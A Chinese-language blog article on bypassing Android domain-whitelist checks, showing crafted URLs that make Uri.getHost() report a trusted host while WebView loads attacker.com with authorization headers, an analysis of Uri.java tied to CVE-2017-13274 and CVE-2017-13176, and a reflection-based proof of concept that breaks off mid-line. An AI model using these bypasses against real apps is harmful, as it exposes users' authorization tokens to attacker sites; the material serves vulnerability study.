Android中怎么绕过域名白名单校验

这期内容当中小编将会给大家带来有关Android中怎么绕过域名白名单校验,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。

一、 Url加入反斜杠"/"

1.1. 方法描述

先来看一种典型的域名校验写法:

/*  Uri 结构
*   [scheme:][//authority][path][?query][#fragment]
*/
[check_v1]
Uri uri = Uri.parse(attackerControlledString);
if ("legitimate.com".equals(uri.getHost()) || uri.getHost().endsWith(".legitimate.com")) {
   webView.loadUrl(attackerControlledString, getAuthorizationHeaders());
   // or webView.loadUrl(uri.toString())
}

然而…

String url = "http://attacker.com//.legitimate.com/smth"; 
Log.d("getHost:", Uri.parse(url).getHost());         // 输出 attacker.com/.legitimate.com !
if (Uri.parse(url).getHost().endsWith(".legitimate.com")) {
       webView.loadUrl(url, getAuthorizationHeaders());  // 成功加载 attacker.com!
}

可以看到 getHost() 和 loadUrl() 的表现不一致,if检验跳转目标是legitimate.com,但执行时浏览器会把反斜线纠正为正斜线去访问attacker.com。那么如果是用 equals() 来做完整的 host 检验该怎么办呢?只需加一个‘@’就能隔断非法前缀。

String url = "http://attacker.com//@legitimate.com/smth";
Log.d("Wow", Uri.parse(url).getHost());          // 输出 legitimate.com!
webView.loadUrl(url, getAuthorizationHeaders()); // 加载 attacker.com!

1.2. 分析原因

看来android.net.Uri的 parse() 是有安全缺陷的,我们扒拉一下代码定位问题…

[frameworks/base/core/java/android/net/Uri.java]
public static Uri parse(String uriString) {
       return new StringUri(uriString);
}

继续看这个内部类StringUri

[frameworks/base/core/java/android/net/Uri.java]
private static class StringUri extends AbstractHierarchicalUri {
       ...
       private StringUri(String uriString) {
           this.uriString = uriString;
       }
       ...
       private Part getAuthorityPart() {
           if (authority == null) {
               String encodedAuthority
                       = parseAuthority(this.uriString, findSchemeSeparator());
               return authority = Part.fromEncoded(encodedAuthority);
           }
           return authority;
       }
       ...
       static String parseAuthority(String uriString, int ssi) {
           int length = uriString.length();
           // If "//" follows the scheme separator, we have an authority.
           if (length > ssi + 2
                   && uriString.charAt(ssi + 1) == '/'
                   && uriString.charAt(ssi + 2) == '/') {
               // We have an authority.
               // Look for the start of the path, query, or fragment, or the
               // end of the string.
               int end = ssi + 3;
               LOOP: while (end < length) {
                   switch (uriString.charAt(end)) {
                       case '/': // Start of path
                       case '?': // Start of query
                       case '#': // Start of fragment
                           break LOOP;
                   }
                   end++;
               }
               return uriString.substring(ssi + 3, end);
           } else {
               return null;
           }
       }
}

这里就明显看到StringUri没有对authority部分做反斜杠的识别处理, 接着找StringUri的父类AbstractHierarchicalUri瞧瞧:

[frameworks/base/core/java/android/net/Uri.java]
private abstract static class AbstractHierarchicalUri extends Uri {
   private String parseUserInfo() {
       String authority = getEncodedAuthority();
       int end = authority.indexOf('@');
       return end == NOT_FOUND ? null : authority.substring(0, end);
   }
   ...
   private String parseHost() {
       String authority = getEncodedAuthority();
       // Parse out user info and then port.
       int userInfoSeparator = authority.indexOf('@');
       int portSeparator = authority.indexOf(':', userInfoSeparator);
       String encodedHost = portSeparator == NOT_FOUND
               ? authority.substring(userInfoSeparator + 1)
               : authority.substring(userInfoSeparator + 1, portSeparator);
       return decode(encodedHost);
   }
}

就在这里把@符号之前内容的作为 UserInfo 给切断了,host 内容从@符号之后算起。(这里其实存在另一个 bug,没有考虑多个@的情况)

1.3. 影响范围

Google 在 2018年4月的 Android 安全公告里发布了这个漏洞CVE-2017-13274的补丁

通过AndroidXRef查询,这个补丁在 Oreo – 8.1.0_r33 才加入到原生源码中。所以安全补丁日期早于2018-04-01的系统都受影响,而 Google 一般通过协议要求 OEM 厂商保证产品上市之后两年内按期打安全补丁。那么经过推算得出 Android 6及以下的系统都受影响。

PS:url含多个@的情况也在2018年1月的补丁中进行了修复CVE-2017-13176

二、反射调用HierarchicalUri构造Uri

2.1. 检查UserInfo

上一节提到了@的截取的特性,会把恶意地址前缀attacker.com存入 UserInfo,那么现在改进校验方法, 加上 UserInfo 的检查是不是就万无一失了呢?

[check_v2]
Uri uri = getIntent().getData();
boolean isOurDomain = "https".equals(uri.getScheme()) &&
                     uri.getUserInfo() == null &&
                     "legitimate.com".equals(uri.getHost());
if (isOurDomain) {
   webView.load(uri.toString(), getAuthorizationHeaders());
}

2.2. 挖掘思路

我们还是看android.net.Uri源码,发现除了StringUri,还有一个内部类也 HierarchicalUri 也继承了 AbstractHierarchicalUri

[frameworks/base/core/java/android/net/Uri.java]
private static class HierarchicalUri extends AbstractHierarchicalUri {

   private final String scheme; // can be null
   private final Part authority;
   private final PathPart path;
   private final Part query;
   private final Part fragment;

   private HierarchicalUri(String scheme, Part authority, PathPart path, Part query, Part fragment) {
       this.scheme = scheme;
       this.authority = Part.nonNull(authority);
       this.path = path == null ? PathPart.NULL : path;
       this.query = Part.nonNull(query);
       this.fragment = Part.nonNull(fragment);
   }

   ...
}

而AbstractHierarchicalUri又是继承自Uri,所以很容易想到,通过反射调用HierarchicalUri这个私有构造函数,传入构造好的 authority 和 path, 创建一个任意可控的Uri实例。继续查看Part和PathPart类的构造方法:    

static class Part extends AbstractPart {
   private Part(String encoded, String decoded) {
       super(encoded, decoded);
   }
}
static class PathPart extends AbstractPart {
   private PathPart(String encoded, String decoded) {
       super(encoded, decoded);
   }
}

2.3. 构造PoC

由此构造 PoC 如下:

public void PoC() {
   private static final String TAG = "PoC";
   String attackerUri = "@attacker.com";
   String legitimateUri = "legitimate.com";

   try {
       Class partClass = Class.forName("android.net.Uri$Part");
       Constructor partConstructor = partClass.getDeclaredConstructors()[0];
       partConstructor.setAccessible(true);

       Class pathPartClass = Class.forName("android.net.Uri$PathPart");
       Constructor pathPartConstructor = pathPartClass.getDeclaredConstructors()[0];
       pathPartConstructor.setAccessible(true);

       Class hierarchicalUriClass = Class.forName("android.net.Uri$HierarchicalUri");
       Constructor hierarchicalUriConstructor = hierarchicalUriClass.getDeclaredConstructors()[0];
       hierarchicalUriConstructor.setAccessible(true);

       Object authority = partConstructor.newInstance(legitimateUri, legitimateUri);
       Object path = pathPartConstructor.newInstance(attackerUri, attackerUri);
       Uri uri = (Uri) hierarchicalUriConstructor.newInstance("https", authority, path, null, null);

       Log.d(TAG, "Scheme: " + uri<

原创文章,作者:1402239773,如若转载,请注明出处:https://blog.ytso.com/232071.html

(1)
上一篇 2022年1月19日
下一篇 2022年1月19日

相关推荐

发表回复

登录后才能评论